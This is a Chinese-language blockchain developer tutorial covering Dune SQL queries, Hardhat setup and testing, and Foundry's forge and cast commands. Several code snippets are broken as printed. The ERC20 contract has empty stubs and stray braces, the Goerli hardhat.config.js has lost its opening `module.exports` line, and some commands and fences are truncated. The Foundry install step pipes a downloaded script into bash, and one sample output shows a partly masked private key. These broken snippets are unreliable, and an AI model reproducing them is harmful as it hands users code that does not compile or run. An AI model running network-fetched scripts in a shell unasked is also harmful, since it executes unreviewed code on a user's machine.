_timestamp：交易被挖掘到区块链的时间戳

#### 使用 WHERE过滤数据

查询过滤特殊的地址`0xeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee`

```sql
SELECT *, (_amount / 1e18) as _amount FROM aave."LendingPool_evt_Deposit"
WHERE _reserve = '\xeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee'
limit 100
```

带上了查询条件，能够快速的筛选我们需要的数据

查看抵押品为USDC，USDC合约地址：`xa0b86991c6218b36c1d19d4a2e9eb0ce3606eb48`

```sql
WHERE _reserve = '\xa0b86991c6218b36c1d19d4a2e9eb0ce3606eb48'
limit

100
```

以上案例参考 [Your guide to basic SQL while learning Ethereum at the same time](https://towardsdatascience.com/your-guide-to-basic-sql-while-learning-ethereum-at-the-same-time-9eac17a05929)

### 实践链上转账

实践`Ethereum.Transactions`表的转账查询

```sql
select * from ethereum.transactions
LIMIT 10
```

![DUNE面板说明](./img/14.png)

### 字段和转账对应说明

看这个[hash](https://etherscan.io/tx/0xfa69f5eb0218f56ae602ef7f01588d9193a891e6fe7ba7e1c3994075a689bb51)转账 

![image-20220314174346876](./img/16.png)

由[0x22fff189c37302c02635322911c3b64f80ce7203](https://etherscan.io/token/0xdac17f958d2ee523a2206206994597c13d831ec7?a=0x22fff189c37302c02635322911c3b64f80ce7203) 转账到 [0x8aae242452471d2dfea145214ceedf87ca043198](https://etherscan.io/token/0xdac17f958d2ee523a2206206994597c13d831ec7?a=0x8aae242452471d2dfea145214ceedf87ca043198)

hash：`0xfa69f5eb0218f56ae602ef7f01588d9193a891e6fe7ba7e1c3994075a689bb51`

我们可以直接通过dune查到该条信息

```sql
WHERE

hash='\xfa69f5eb0218f56ae602ef7f01588d9193a891e6fe7ba7e1c3994075a689bb51'
```

![dune-查询](./img/15.png)

dune中的字段，也是和etherscan中一一对应。

### 数据可视化

![dune query to visualization](./img/11.png)

点击 New visualization 就可以选择你需要的视图，比如我点击 `bar chart`

![dune visualization](./img/12.png)

就会将我刚才筛选的数据可视化。看最长的几根，就是借贷最多的几个账号。

## 总结

这一讲，我们介绍了Dune的基础用法。通过Dune，我们能够将链上的数据转换为可视化的数据，更好的了解链上热点。

# WTF Solidity极简入门-工具篇6：Hardhat以太坊开发环境

-----

Hardhat是以太坊最流行的开发环境，它可以帮你编译和部署智能合约，并且提供了Hardhat Network支持本地测试和运行Solidity。这一讲，我们将介绍如何安装Hardhat，使用Hardhat编写并编译合约，并运行简单的测试。

## Hardhat安装

### 安装node

可以使用 nvm 安装node

[GitHub - nvm-sh/nvm: Node Version Manager - POSIX-compliant bash script to manage multiple active node.js versions](https://github.com/nvm-sh/nvm)

### 安装Hardhat

打开命令行工具，输入：
```shell
mkdir hardhat-demo
cd hardhat-demo
npm init -y
npm install --save-dev hardhat
```

### 创建Hardhat项目

```shell
npx hardhat
```

选择第三项：创建空白项目配置 `Create an empty hardhat.config.js`

```shell
👷 Welcome to Hardhat v2.9.9 👷‍

? What do you want to do? …
  Create a JavaScript project
  Create a TypeScript project
❯ Create an empty hardhat.config.js
  Quit

```

### 安装插件
```shell
npm

install --save-dev @nomicfoundation/hardhat-toolbox
```

将插件添加到你的hardhat配置文件中 `hardhat.config.js`

```js
require("@nomicfoundation/hardhat-toolbox");

/** @type import('hardhat/config').HardhatUserConfig */
module.exports = {
  solidity: "0.8.9",
};
```

## 编写并编译合约
如果你用过remix，那么你直接在remix上点击保存的时候，会自动帮你编译的。但是在本地的hardhat开发环境中，你需要手动编译合约。

### 新建合约目录

新建`contracts`合约目录，并添加第31章节的ERC20合约。

### 编写合约
这里的合约直接使用[WTF Solidity第31讲](https://github.com/AmazingAng/WTFSolidity/blob/main/31_ERC20/readme.md]的ERC20合约

```js
// WTF Solidity by 0xAA

import "./IERC20.sol";

contract ERC20 is IERC20 {

    string public symbol;  // 符号
    
    // @dev 在合约部署的时候实现合约名称和符号
    }

    // @dev 实现`transfer`函数，代币转账逻辑
    function transfer(address

recipient, uint amount) external override returns (bool) {
    }

    // @dev 实现 `approve` 函数, 代币授权逻辑
    }

    // @dev 实现`transferFrom`函数，代币授权转账逻辑
    }

    // @dev 铸造代币，从 `0` 地址转账给 调用者地址
    }

    // @dev 销毁代币，从 调用者地址 转账给  `0` 地址
    }

}

```

### 编译合约
```shell

compile
```

看到如下输出，说明合约编译成功：

```shell
Compiling 2 Solidity files successfully
```

成功后，你会在文件夹下看到`artifacts`目录，里面的`json`文件就是编译结果。

## 编写单元测试

这里的单元测试非常简单，仅包含部署合约并测试合约地址是否合法（是否部署成功）。

新建测试文件夹`test`，在其中新建`test.js`。单元测试中，我们会用到`chai`和`ethers.js`两个库，分别用于测试和链上交互。对`ethers.js`不了解的开发者，可以看下[WTF Ethers极简教程](https://github.com/WTFAcademy/WTF-Ethers)的前6讲。我们之后的教程会更详细的介绍`chai`和`mocha`。

```js
const { expect } = require('chai');
const { ethers } = require('hardhat');

describe("ERC20 合约测试", ()=>{
  it("合约部署", async () => {
     // ethers.getSigners,代表eth账号  ethers 是一个全局函数，可以直接调用
     const [owner, addr1, addr2] = await ethers.getSigners();
     // ethers.js 中的 ContractFactory 是用于部署新智能合约的抽象，因此这里的 ERC20 是我们代币合约实例的工厂。ERC20代表contracts 文件夹中的 ERC20.sol 文件
     const Token = await ethers.getContractFactory("ERC20");
     // 部署合约, 传入参数 ERC20.sol 中的构造函数参数分别是 name, symbol 这里我们都叫做WTF
     const hardhatToken = await Token.deploy("WTF", "WTF"); 
      // 获取合约地址
     const ContractAddress = await hardhatToken.address;
     expect(ContractAddress).to.properAddress;
  });
})
```

## 运行测试

在命令行输入以下内容运行测试：

```shell
npx hardhat test
#

如果有多个文件想跑指定文件可以使用
npx mocha test/test.js
```

看到如下输出，说明测试成功。

```shell
  ERC20 合约测试
    ✔ 合约部署 (1648ms)

  1 passing (2s)
```

## 部署合约

在remix中，我们只需要点击一下`deploy`就可以部署合约了，但是在本地hardhat中，我们需要编写一个部署脚本。

新建一个`scripts`文件夹，我们来编写部署合约脚本。并在该目录下新建一个`deploy.js`

输入以下代码

```js
// 我们可以通过 npx hardhat run <script> 来运行想要的脚本
// 这里你可以使用 npx hardhat run deploy.js 来运行
const hre = require("hardhat");

async function main() {
  const Contract = await hre.ethers.getContractFactory("ERC20");
  const token = await Contract.deploy("WTF","WTF");

  await token.deployed();

  console.log("成功部署合约:", token.address);
}

// 运行脚本
main().catch((error) => {
  console.error(error);
  process.exitCode = 1;
});

```

运行以下代码部署合约到本地测试网络

hardhat会提供一个默认的网络，参考：[hardhat默认网络](https://hardhat.org/hardhat-network/docs/overview)

```shell
npx hardhat run --network hardhat  scripts/deploy.js
```

看到如下输出，说明合约部署成功：

```shell
(node:45779) ExperimentalWarning: stream/web is an experimental feature. This feature could change at any time
(Use `node --trace-warnings ...` to show where the warning was created)
成功部署合约:

0x5FbDB2315678afecb367f032d93F642f64180aa3
```

## 部署合约到Goerli测试网络 ｜ 网络配置

### 前期准备

1. 申请alchemy的api key
参考【[第4讲：Alchemy, 区块链API和节点基础设施](https://github.com/AmazingAng/WTFSolidity/blob/main/Topics/Tools/TOOL04_Alchemy/readme.md)】 
2. 申请Goerli测试代币
[点击申请](https://goerlifaucet.com/) 登录alchemy账号每天可以领取0.2个代币
3. 导出私钥
因为需要把合约部署到Goerli测试网络，所以该测试账号中留有一定的测试代币。导出已有测试代币的账户的私钥，用于部署合约

### 配置网络

在`hardhat.config.js`中，我们可以配置多个网络，这里我们配置`Goerli`测试网络。

编辑 `hardhat.config.js`

```js

// 申请alchemy的api key
const ALCHEMY_API_KEY = "KEY";

//将此私钥替换为测试账号私钥
//从Metamask导出您的私钥，打开Metamask和进入“帐户详细信息”>导出私钥
//注意:永远不要把真正的以太放入测试帐户
const GOERLI_PRIVATE_KEY = "YOUR GOERLI PRIVATE KEY";

  solidity: "0.8.9", // solidity的编译版本
  networks: {
    goerli: {
      url: `https://eth-goerli.alchemyapi.io/v2/${ALCHEMY_API_KEY}`,
      accounts: [GOERLI_PRIVATE_KEY]
    }
  }
};
```

配置完成运行

```shell
npx hardhat run --network goerli scripts/deploy.js
```

你就可以把你的合约部署到Goerli测试网络了。

看到如下信息，你就成功部署到Goerli测试网络了。

```shell
(node:46996) ExperimentalWarning:

stream/web is an experimental feature. This feature could change at any time
(node:46999) ExperimentalWarning: stream/web is an experimental feature. This feature could change at any time
成功部署合约: 0xeEAcef71084Dd1Ae542***9D8F64E3c68e15****
```

可以通过[etherscan](https://etherscan.io/)查看合约部署情况

同理你也可以配置多个网络，比如`mainnet`，`rinkeby`等。

## 总结

这一讲，我们介绍了Hardhat基础用法。通过Hardhat我们能够工程化solidity的项目，并提供了很多有用的脚手架。在后续的文章中，我们会介绍更多的Hardhat的高级用法，例如使用Hardhat的插件、测试框架等等。

# WTF Solidity极简入门-工具篇7: Foundry，以Solidity为中心的开发工具包

-----

## 什么是 Foundry?
来自 Foundry [官网 (getfoundry.sh) ](https://getfoundry.sh) 对该工具的介绍：

> Foundry是 一个用 Rust编写的用于以太坊应用程序开发的极快、可移植和模块化的工具包 ( Foundry is a blazing fast, portable and modular toolkit for Ethereum application development written in Rust.)

项目设施：
- 官网：[https://getfoundry.sh](https://getfoundry.sh)
- Github 仓库：[https://github.com/foundry-rs/foundry](https://github.com/foundry-rs/foundry)
- 文档：[https://book.getfoundry.sh](https://book.getfoundry.sh)

介绍的解释：
- **用 Rust 语言编写**： Foundry 完全采用 Rust 语言开发， [Github 上的源代码仓库](https://github.com/foundry-rs/foundry) 是一个 Rust 语言工程。我们可以通过获取 [Release

的二进制文件](https://github.com/foundry-rs/foundry/releases)，也可以通过 Rust 语言的 cargo 包管理[工具编译&构建安装](https://github.com/foundry-rs/foundry#installing-from-source);
- **用于以太坊应用程序开发**： Foundry 作为 以太坊（Solidity语言）项目/应用程序开发的 “工程化” 工具，提供专业 Solidity 开发环境与“工具链”。**通过它你可以快速、方便的完成依赖项管理、编译、运行测试、部署，并可以通过命令行和 Solidity 脚本与链进行交互**;
- **极快**： Foundry 利用 [ethers-solc](https://github.com/gakonst/ethers-rs/tree/master/ethers-solc/) 比较于传统通过 Node.js 辅助完成的测试用例/工程，Foundry 构建、测试的执行速度很快（创建一个工程，写一些测试用例跑一下会感受到震撼）;
- **可移植**: Foundry 工程支持与其他类型的工程集成（如：[与 Hardhat 集成](https://book.getfoundry.sh/config/hardhat)）;
- **模块化**：通过 git submodule & 构建目录映射，快速方便的引入依赖;

<!--👆TODO: some 🔗 LINKS can be added when our Hardhat tutorial is complete -->

## 为什么选择 Foundry？

如果你满足以下条件或有过类似体验，你一定要试试 Foundry：

- ~~如果你有 Rust “语言信仰”~~，如果你是个专业的 以太坊（Solidity语言）应用开发者；
- 你曾经用过类似 Hardhat.js 这样的工具；
- 你厌倦了大量测试用例的等待，需要有工具**更加快速**的跑完你的测试用例；
- 你觉得处理 BigNumber 稍微有一点点🤏麻烦;
- 有过**通过 Solidity 语言本身完成测试用例**（或测试合约的合约）的需求；
- 你觉得通过 git submodule 的方式管理依赖更加方便（而不是 npm）；
- ···

如果有以下情况 Foundry 可能不适合你：
- Solidity 初学者；
- 你的项目不需要写测试用例、不需要过多在 Solidity 工程方面的自动化操作；

##

Foundry 的主要功能
> 该部分源于 Foundry book ([https://book.getfoundry.sh](https://book.getfoundry.sh))，让章节的理解更容易。

- [创建以太坊（Solidity）智能合约应用开发项目](https://book.getfoundry.sh/projects/creating-a-new-project)，[开发已有的项目](https://book.getfoundry.sh/projects/working-on-an-existing-project);
- [管理以太坊(Solidity)智能合约的依赖项目](https://book.getfoundry.sh/projects/dependencies);
- [创建由 Solidity 语言编写的测试用例（并且能很快速的执行测试用例）](https://book.getfoundry.sh/forge/writing-tests): 并且支持[模糊测试](https://book.getfoundry.sh/forge/fuzz-testing)与[差异测试](https://book.getfoundry.sh/forge/differential-ffi-testing)等方便、专业的测试方式;
- 通过 [Cheatcodes（作弊码）](https://book.getfoundry.sh/forge/cheatcodes) 在 Solidity语言 编写的测试用例中**进行 “EVM环境之外” 的 vm 功能进行交互与断言**：更换测试用例语句执行者的钱包地址（更换 `msg.sender`）、对 EVM 外的 Event 事件进行断言；
- 执行过程与错误追踪：[“函数堆栈”级的错误追踪（Traces）](https://book.getfoundry.sh/forge/traces)；
- [部署合约和自动化的完成scan上合约的开源验证](https://book.getfoundry.sh/forge/deploying)；
- 在项目中支持[完整的gas使用情况追踪](https://book.getfoundry.sh/forge/gas-tracking)：包括合约测试细节的gas用量和gas报告；
-

交互式[调试器](https://book.getfoundry.sh/forge/debugger)；

## Foundry 的组成

Foundry 项目由 `Forge`, `Cast`, `Anvil` 几个部分（命令行工具）组成

- Forge: Foundry 项目中**执行初始化项目、管理依赖、测试、构建、部署智能合约**的命令行工具;
- Cast: Foundry 项目中**与 RPC 节点交互**的命令行工具。可以进行智能合约的调用、发送交易数据或检索任何类型的链上数据;
- Anvil:  Foundry 项目中**启动的本地测试网/节点**的命令行工具。可以使用它配合测试前端应用与部署在该测试网的合约或通过 RPC 进行交互; 

## 快速使用 --- 创建一个 Foundry 项目

> 内容出自 Foundry book 的 Getting Start 部分

即将完成的过程：
1. 安装 Foundry;
2. 初始化一个 Foundry 项目;
3. 理解初始化过程中添加的智能合约、测试用例；
4. 执行构建&测试;
  
### 安装 Foundry

对于不同的环境：
- MacOS / Linux （等 Unix like 系统）：
  - 通过 `foundryup` 安装（👈Foundry 项目首页推荐的方式）;
  - 通过 源代码构建 安装;
- Windows
- Docker 环境
  - 参考 Foundry Package: [ https://github.com/gakonst/foundry/pkgs/container/foundry](https://github.com/gakonst/foundry/pkgs/container/foundry)
- Github Action： 用于构建完整的 Action 流程
  - 参考 [https://github.com/foundry-rs/foundry-toolchain](https://github.com/foundry-rs/foundry-toolchain)

---

#### 通过[脚本](https://raw.githubusercontent.com/foundry-rs/foundry/master/foundryup/install)快速安装
通过有`bash`的（或者类Unix环境）快速安装
```shell
$ curl -L https://foundry.paradigm.xyz |

bash
```
执行后将会安装 `foundryup`，在此后执行它
```shell
$ foundryup
```
如果一切顺利，您现在可以使用三个二进制文件：`forge`、`cast` 和 `anvil`。

<!--

---

#### [通过源代码构建安装（需要你了解一点 Rust 环境）](https://book.getfoundry.sh/getting-started/installation#building-from-source)

要从源代码构建，您需要获取 `Rust` 和 `Cargo`。获得两者的最简单方法是使用 `rustup`。

```shell
# clone 项目目录至本地
git clone https://github.com/foundry-rs/foundry

# 进入项目目录
cd foundry

# 安装 cast + forge
cargo install --path ./cli --profile local --bins --locked --force

# 安装 anvil
cargo install --path ./anvil --profile local --locked --force
```
-->
### 初始化一个 Foundry 项目

通过 `forge` 的 `forge init` 初始化项目 "hello_wtf"
```shell
$ forge init hello_wtf

Initializing /Users/username/hello_wtf...
Installing forge-std in "/Users/username/hello_wtf/lib/forge-std" (url: Some("https://github.com/foundry-rs/forge-std"), tag: None)
    Installed forge-std
    Initialized forge project.
```
该过程通过安装依赖`forge-std`初始化了一个 Foundry 项目

在项目目录中看到

```shell
$ tree -L 2 
.
├── foundry.toml        # Foundry 的 package 配置文件
├── lib                 # Foundry 的依赖库
│   └── forge-std       # 工具 forge 的基础依赖
├── script              # Foundry 的脚本
│   └── Counter.s.sol   # 示例合约 Counter

的脚本
├── src                 # 智能合约的业务逻辑、源代码将会放在这里
│   └── Counter.sol     # 示例合约
└── test                # 测试用例目录
    └── Counter.t.sol   # 示例合约的测试用例
```
提示：
- 依赖项作为 git submodule 在 `./lib` 目录中
- 关于 Foundry 的 package 配置文件请详细参考: [https://github.com/foundry-rs/foundry/blob/master/config/README.md#all-options](https://github.com/foundry-rs/foundry/blob/master/config/README.md#all-options)

### 理解初始化过程中添加的智能合约、测试用例

#### src 目录

主要由业务逻辑构成
`src` 目录中的 `./src/Counter.sol`:

contract Counter {          // 一个很简单的 Counter 合约
    uint256 public number;  // 维护一个 public 的 uint256 数字

    // 设置 number 变量的内容
    function setNumber(uint256 newNumber) public { 
        number = newNumber;
    }

    // 让 number 变量的内容自增
    function increment() public {
        number++;
    }
}
```

#### script 目录

参考 Foundry 项目文档中的 [Solidity-scripting](https://book.getfoundry.sh/tutorials/solidity-scripting) 该目录主要由“部署”脚本构成（也可通过该脚本调用 Foundry 提供的 `vm` 功能实现应用业务逻辑之外的高级功能，等同于 Hardhat.js 中的 scripts）。

详见script 目录中的 `./script/Counter.s.sol`：

pragma solidity ^0.8.13; // 许可 和 Solidity版本标识

import

"forge-std/Script.sol"; // 引入foundry forge中的Script库
import "../src/Counter.sol"; // 引入要部署的Counter合约

// 部署脚本继承了Script合约
contract CounterScript is Script {
    // 可选函数，在每个函数运行之前被调用
    function setUp() public {}

    // 部署合约时会调用run()函数
    function run() public {
        vm.startBroadcast(); // 开始部署
        new Counter(); // 创建合约
        vm.stopBroadcast(); // 结束部署
    }
}
```

Foundry的部署脚本是一个用Solidity写的智能合约，虽然它不会被部署，但符合Solidity的规范。你可以用`forge script`运行脚本并部署合约。

```shell
forge script script/Counter.s.sol:CounterScript
```

#### test 目录

主要由合约的测试用例构成

test 目录中的 `./test/Counter.t.sol`

import "forge-std/Test.sol";        // 引入 forge-std 中用于测试的依赖
import "../src/Counter.sol";        // 引入用于测试的业务合约

// 基于 forge-std 的 test 合约依赖实现测试用例
contract CounterTest is Test {      
    Counter public counter;

    // 初始化测试用例
    function setUp() public { 
       counter = new Counter();
       counter.setNumber(0);
    }

    // 基于初始化测试用例
    // 断言测试自增后的 counter 的 number 返回值 同等于 1
    function testIncrement() public {
        counter.increment();
        assertEq(counter.number(), 1);
    }

    // 执行差异测试测试
    // forge 测试的过程中
    // 为 testSetNumber

函数参数传递不同的 unit256 类型的 x
    // 达到测试 counter 的 setNumber 函数 为不同的 x 设置不同的数
    // 断言 number() 的返回值等同于差异测试的 x 参数
    function testSetNumber(uint256 x) public {
        counter.setNumber(x);
        assertEq(counter.number(), x);
    }

    // 差异测试：参考 https://book.getfoundry.sh/forge/differential-ffi-testing
}
```

### 执行构建&测试

在项目目录中通过执行 `forge build` 完成构建
```shell
$ forge build

[⠒] Compiling...
[⠢] Compiling 10 files with 0.8.17
[⠰] Solc 0.8.17 finished in 1.06s
Compiler run successful
```

完成构建后 通过 `forge test` 完成测试
```shell
$ forge test

[⠢] Compiling...
No files changed, compilation skipped

Running 2 tests for test/Counter.t.sol:CounterTest
[PASS] testIncrement() (gas: 28312)
[PASS] testSetNumber(uint256) (runs: 256, μ: 27609, ~: 28387)
Test result: ok. 2 passed; 0 failed; finished in 9.98ms
```

至此，您已完成上手使用 Foundry 并且初始化一个项目。

<!--

  TODO: For foundry advanced useage ...

  We need cover: 
  
  - cli forge `test` : reference https://book.getfoundry.sh/forge/writing-tests
  - cheatcode.
  - Logs and traces levels.

... etc.

-->

## Foundry Cast的进阶使用
主要介绍Foundry Cast的使用，使用Cast在命令行下达到[Ethereum (ETH) Blockchain Explorer](https://etherscan.io/)

的效果。

练习如下目标
* 查询区块
* 查询交易
* 交易解析
* 账户管理
* 合约查询
* 合约交互
* 编码解析
* 本地模拟链上交易

## 区块相关

### 查询区块

```shell
# $PRC_MAIN 替换成需要的RPC地址
cast block-number --rpc-url=$RPC_MAIN
```

输出结果：

```
15769241
```

> 将环境变量的`ETH_PRC_URL`设置为 `--rpc-url` 你就不需要在每个命令行后面增加  `--rpc-url=$RPC_MAIN`  我这里直接设置为主网

### 查询区块信息

```shell
# cast block <BLOCK> --rpc-url=$RPC_MAIN

cast block 15769241 --rpc-url=$RPC_MAIN

# 格式化

cast block 15769241 --json --rpc-url=$RPC_MAIN

```

输出结果：

```shell 
baseFeePerGas        22188748210
difficulty           0
extraData            0x
gasLimit             30000000
gasUsed              10595142
hash                 0x016e71f4130bac96a20761acbc0ba82a77c26f85513f1661adfd406d1c809543
logsBloom           

           0x1c6150404140580410990400a61d01e30030b00100c2a6310b11b9405d012980125671129881101011501d399081855523a106443aef3ab07148626315f721550290981058030b2af90b213961204c6103d2002a076c9e12d0800475b8231f0d06a20100da57c60aa0c008280128284418503340087c8650104c34500c18aa1c2070878008c21c64207d1424000244811415afc507640448122060644c181204ba412f0af11365020880508105551226004c0801c1840183003a42062a5a2444c13266020c00081440008038492740a8204a0c6c050a29d52405b92e4b20f028a97a604c6b0849ca81c4d06009258b4206217803a168824484deb8513242f082
miner                0x4675C7e5BaAFBFFbca748158bEcBA61ef3b0a263
mixHash              0x09b7a94ef1d6c93caaff49ca8bf387652e0e33e116076b61f4d5ee79f0b91f92
nonce                0x0000000000000000
number               15769241
parentHash           0x95c60d89f2275a6a7b1a9545cf1fb6d8c614402cd7311c82bc7972c177f7812d
receiptsRoot         0xe0240d60c448387123e412114cd0165b2af7b926d34bb824f8c544b022aa76f9
sealFields           []
sha3Uncles           0x1dcc4de8dec75d7aab85b567b6ccd41ad312451b948a7413f0a142fd40d49347
size                 149912
stateRoot            0xaa3e9d839e99c4791827c81df9c9129028a320432920205f191e3fb261d0951c
timestamp           

           1666026803
totalDifficulty      58750003716598352816469
transactions:       

       [
	0xc4f5c10e4419698edaf7431df464340b389e4b79db959d58f42e82e8d1ed18ae
	0xb90edeacf833ac6cb91a326c775ed86d8047a467404bd8c69782d2260983eaad
	0x6f280650e35238ab930c9a0f3163443fffe2efedc5b553f408174d4bcd89cd8d
	0x2e0eafea64aaf2f53240a16b11a4f250ba74ab9ca5a1a90e6f2a6e92185877d2
	0x34f41d22ed8209da379691640cec5bfb8bf9404ad0f7264709b7959d61532343
	0x7569ab5ce2d1ca13a0c65ad52cc901dfc186e8ff8800793550b97760cbe34db2
	0xcdeef0ffe859fcf96fb52e22a9789295c6f1a94280df9faf0ebb9d52abefb3e7
	0x00d6793f3dbdd616351441b9e3da9a0de51370174e0d9383b4aae5c3c9806c2a
	0xff3daf63a431af021351d3da5f2f39a894352328d7f3df96afab1888f5a7093f
	0x7938399bee5293c384831c8e5aa698cdb491d568f9ebfb6d5c946f4ef7bf7e51
	0x20e7dda515f04ea6a787f68689e27bcadbba914184da5336204f3f36771f59f0
	0x0435d78a1b62484fbe3a7680d68ba4bdf0d692f087f4a6b70eb377421c58a5dd
	0xe16d1fa4d60cca7447850337c63cdf7b888318cc1bbb893b115f262dc01132d7
	0x44af4f696dcfedee682d7e511ad2469780443052565eea731b86b652a175c05e
	0xe88732f92ac376efb6e7517e66fc586447e0d065b8686556f2c1a7c3b7a519ce
	0x7ee890b096e97fc0c7e3cf74e0f0402532e0f3b8fa0e0c494d3d691d031f57e7
	...]
```

##

交易相关

### 查询交易

```shell
# 跟ethersjs中的 provider.getTransaction 类似
# cast tx <HASH> [FIELD] --rpc-url=$RPC

# 跟ethersjs中的 provider.getTransactionReceipt类似
# cast receipt <HASH> [FIELD] --rpc-url=$RPC 

cast tx 0x20e7dda515f04ea6a787f68689e27bcadbba914184da5336204f3f36771f59f0 --rpc-url=$RPC 

cast receipt 0x20e7dda515f04ea6a787f68689e27bcadbba914184da5336204f3f36771f59f0 --rpc-url=$RPC

# 只获取logs

cast receipt 0x20e7dda515f04ea6a787f68689e27bcadbba914184da5336204f3f36771f59f0 logs --rpc-url=$RPC

```

第一条命令行结果：

```shell
blockHash            0x016e71f4130bac96a20761acbc0ba82a77c26f85513f1661adfd406d1c809543
blockNumber          15769241
from                 0x9C0649d7325990D98375F7864eA167B5EAdCD46a
gas                  313863
gasPrice             35000000000
hash                 0x20e7dda515f04ea6a787f68689e27bcadbba914184da5336204f3f36771f59f0
input               

               0x38ed173900000000000000000000000000000000000000000000000332ca1b67940c000000000000000000000000000000000000000000000000000416b4849e6ba1475000000000000000000000000000000000000000000000000000000000000000a00000000000000000000000009c0649d7325990d98375f7864ea167b5eadcd46a00000000000000000000000000000000000000000000000000000000634d91c1000000000000000000000000000000000000000000000000000000000000000200000000000000000000000097be09f2523b39b835da9ea3857cfa1d3c660cbb0000000000000000000000001bbf25e71ec48b84d773809b4ba55b6f4be946fb
nonce                14
r                    0x288aef25af73a4d1916f8d37107ef5f24729a423f23acc38920829c4180fe794
s                    0x7644d26a91da02ff1e774cc821febf6387b8ee9f3e3085140b781819d0d8ede0
to                   0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
transactionIndex     10
v                    38
value                0
```

第二行命令行结果：

```shell
blockHash               0x016e71f4130bac96a20761acbc0ba82a77c26f85513f1661adfd406d1c809543
blockNumber             15769241
contractAddress
cumulativeGasUsed       805082
effectiveGasPrice       35000000000
gasUsed                 114938
logs                   

              0x00200000000000000000000080000000000000000000000000010000000008000000000000800000000000000000000000000000002000000000000000000000000000000000000000000008000000200000000000000000000000400000100000000000800000002000000000000000000000400000000000000010000000000000000000000000005000000000040000000000000000080000004004000000000000084100000000000000000000000000000040000000000000000000040000000002000000000000000000000000000000000000001000002000000020000000000000000000000000000000000000004000000000000000000000000000
root
status                  1
transactionHash         0x20e7dda515f04ea6a787f68689e27bcadbba914184da5336204f3f36771f59f0
transactionIndex        10
type                    0

```

### 交易解析

Cast 会从 [Ethereum Signature Database](https://sig.eth.samczsun.com.) 解析对应的方法名称

```shell
# cast 4byte <SELECTOR> 解析交易的名称
cast 4byte 0x38ed1739
```

输出结果：

```shell
swapExactTokensForTokens(uint256,uint256,address[],address,uint256)
```

### 交易签名 

> 使用 Keccak-256 能够计算出方法名
> 函数名为被调函数原型[1]的Keccak-256哈希值的前4个字节。这允许EVM准确无误地识别被调函数。

交易签名：

```shell
# cast sig <SIG>

cast sig

"swapExactTokensForTokens(uint256,uint256,address[],address,uint256)"

```

输出结果：

```shell
0x38ed1739
```

所以你可以看到最终都是 `0x38ed1739`

有些方法名称可能没有，你可以通过`cast upload-signature <SIG> `上传给 [Ethereum Signature Database](https://sig.eth.samczsun.com) 

### 交易解码

```shell
# 获得calldata
cast tx 0x20e7dda515f04ea6a787f68689e27bcadbba914184da5336204f3f36771f59f0 input --rpc-url=$RPC

# 可以通过该方法decode交易的数据，类似etherscan中的decode方法
# cast pretty-calldata <CALLDATA>
cast pretty-calldata 0x38ed173900000000000000000000000000000000000000000000000332ca1b67940c000000000000000000000000000000000000000000000000000416b4849e6ba1475000000000000000000000000000000000000000000000000000000000000000a00000000000000000000000009c0649d7325990d98375f7864ea167b5eadcd46a00000000000000000000000000000000000000000000000000000000634d91c1000000000000000000000000000000000000000000000000000000000000000200000000000000000000000097be09f2523b39b835da9ea3857cfa1d3c660cbb0000000000000000000000001bbf25e71ec48b84d773809b4ba55b6f4be946fb
```

输出结果：

```shell
 Possible methods:
 -

 ------------
 [0]:  00000000000000000000000000000000000000000000000332ca1b67940c0000
 [1]:  00000000000000000000000000000000000000000000000416b4849e6ba14750
 [2]:  00000000000000000000000000000000000000000000000000000000000000a0
 [3]:  0000000000000000000000009c0649d7325990d98375f7864ea167b5eadcd46a
 [4]:  00000000000000000000000000000000000000000000000000000000634d91c1
 [5]:  0000000000000000000000000000000000000000000000000000000000000002
 [6]:  00000000000000000000000097be09f2523b39b835da9ea3857cfa1d3c660cbb
 [7]:  0000000000000000000000001bbf25e71ec48b84d773809b4ba55b6f4be946fb
```

### 模拟运行

```
# Usage: cast run --rpc-url <URL> <TXHASH>

cast run 0x20e7dda515f04ea6a787f68689e27bcadbba914184da5336204f3f36771f59f0
```

运行结果：

![cast-run](./img/1.png)

可以在结果中看到运行消耗的gas，以及方法顺序调用的过程，以及释放的emit的事件。通过这个可以了解一个hash的内在过程。类似 [BlockSec Building BlockChain Security Infrastructure](https://blocksec.com/) 和 [Tenderly | Ethereum Developer Platform](https://tenderly.co/) 可以结合使用。

## 账户管理

###

新建账户

```shell
# 新建一个账号
# cast wallet new [OUT_DIR] 
cast wallet new

# 新建一个keystore的账号，带有密码
# cast wallet new <PATH>
cast wallet new  ~/Downloads
```

第一条命令行结果输出：

```shell
Successfully created new keypair.
Address: 0xDD20b18E001A80d8b27B8Caa94EeAC884D1c****
Private Key: edb4444199bddea91879c0214af27c0c7f99****bf18e46ba4078a39ccdbe0bc
```

第二条命令行结果输出：

```shell
Enter secret:
Created new encrypted keystore file: `/Users/EasyPlux/Downloads/b5832df5-21e9-4959-8c85-969eec9c0***`\nPublic Address of the key: 0x58c1C8f6A7D92A9b20A5343949cd624570Ab****
```

### 账户签名

```shell
# 两种方法都可以使用签名，第一种载入刚才生成的keystore私钥，第二种直接输入自己的私钥。
cast wallet sign <MESSAGE> --keystore=<PATH> 
cast wallet sign <MESSAGE> -i
```

### 账户验证

```shell
cast wallet verify --address <ADDRESS> <MESSAGE> <SIGNATURE> 
```

## 合约交互

### 获取合约

```shell
cast etherscan-source <contract address>

cast etherscan-source 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2 --etherscan-api-key='key'

```

### 下载合约

```shell
#cast etherscan-source -d <path>
# 我这里已经将$WETH的地址写入环境变量，如果没写入的，可以写成合约地址
cast etherscan-source $WETH -d

~/Downloads
```

### 调用合约

调用 WETH合约的`balanceOf`方法,查看`0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2`账号的余额

```shell
#cast call [OPTIONS] [TO] [SIG] [ARGS]... [COMMAND] --rpc-url=$RPC

cast call $WETH "balanceOf(address)" 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2 --rpc-url=$RPC

# 输出
# 0x0000000000000000000000000000000000000000000000230d12770f2845219c

# 格式化输出 在参数后面加一个返回值的格式

cast call $WETH "balanceOf(address)(uint256)" 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2 --rpc-url=$RPC

# 输出
# 646577988758891995548

```

### 解析ABI

可以根据ABI反向解析出solidity代码
```shell
# cast interface [OPTIONS] <PATH_OR_ADDRESS>
cast interface ./weth.abi
```

## 编码解码

```shell
cast --to-hex 

cast --to-dec 

cast --to-unit 

cast --to-wei 

cast --to-rlp 
